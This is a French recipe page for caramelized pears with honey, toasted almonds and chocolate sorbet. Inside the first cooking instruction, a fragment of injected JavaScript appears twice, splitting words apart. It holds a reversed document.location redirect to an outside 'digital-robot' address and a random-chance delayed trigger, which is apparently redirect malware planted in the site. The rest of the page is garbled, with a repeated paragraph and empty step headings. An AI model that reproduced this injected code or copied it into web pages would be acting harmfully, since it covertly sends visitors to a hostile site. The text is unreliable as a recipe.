Poires caramélisées avec un sorbet chocolat
2021-04-13- Thématique : Végétarien
- Niveau : Difficile
Pelez, Coupez-les poires en deux. Ôtez le cœur et les détailler en petits quartiers. Dans une poêle avec 30 g de beurre, sur feu moyen. Faites-les dorer tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout doucement en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant.
Ingrédients
Pelez, Coupez-les poires en deux. Ôtez le cœur et les détailler en petits quartiers. Dans une poêle avec 30 g de beurre, sur feu moyen. Faites-les dorer tout doucement en les retournant.
Arrosez les de miel et poursuivez la cuisson pendant 3 minutes. Répartissez les poires en formes d'étoiles sur chaque assiette.
Dans une poêle sans matière grasse, sans s'arrêter de remuer, sur feu vif. Faites griller les amandes effilées.
Déposez une boule de sorbet au centre de chaque assiette, parsemez d’amandes effilées.
DégustezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
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